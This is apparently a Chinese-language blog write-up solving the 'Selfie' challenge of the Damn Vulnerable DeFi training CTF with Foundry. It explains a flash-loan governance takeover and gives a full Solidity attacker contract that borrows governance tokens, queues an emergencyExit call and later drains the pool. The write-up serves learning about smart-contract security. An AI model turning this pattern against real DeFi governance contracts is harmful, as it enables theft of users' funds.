为了系统的学习solidity和foundry,我基于foundry测试框架重新编写damnvulnerable-defi的题解,欢迎交流和共建~🎉
本题的目的就是取走pool中的全部token,在pool合约中有emergencyExit
函数
可以看到,只要满足onlyGovernance
条件,即可转走当前合约内的任意数目token
function emergencyExit(address receiver) external onlyGovernance {
uint256 amount = token.balanceOf(address(this));
token.transfer(receiver, amount);
emit FundsDrained(receiver, amount);
}
onlyGovernance
要求调用方必须是SimpleGovernance
合约,我们又知道在SimpleGovernance
合约中提供了设置action和执行action的方法,在设置action的参数中就包括了target和calldata这样的合约调用参数
因此完整的调用流程如下所示:
首先通过调用攻击合约,实施闪电贷获得goveranceToken,再去SimpleGoverance中记录一个action,填入的目标方法就是调用pool的emergencyExit
待两天后,通过主动执行action来转移出pool的全部token
代码如下:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {SelfiePool, SimpleGovernance, DamnValuableTokenSnapshot} from "../../src/selfie/SelfiePool.sol";
import "openzeppelin-contracts/contracts/interfaces/IERC3156FlashBorrower.sol";
contract SelfiePoolAttacker is IERC3156FlashBorrower{
SelfiePool pool;
SimpleGovernance governance;
DamnValuableTokenSnapshot token;
address owner;
uint256 actionId;
constructor(address _pool, address _governance, address _token){
owner = msg.sender;
pool = SelfiePool(_pool);
governance = SimpleGovernance(_governance);
token = DamnValuableTokenSnapshot(_token);
}
function attack(uint256 amount) public {
// call flashloan
pool.flashLoan(IERC3156FlashBorrower(this), address(token), amount, "0x");
}
function onFlashLoan(
address initiator,
address _token,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32){
// queue action
token.snapshot();
actionId = governance.queueAction(address(pool), 0, abi.encodeWithSignature("emergencyExit(address)", owner));
token.approve(address(pool), amount);
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
function executeAction() public{
governance.executeAction(actionId);
}
}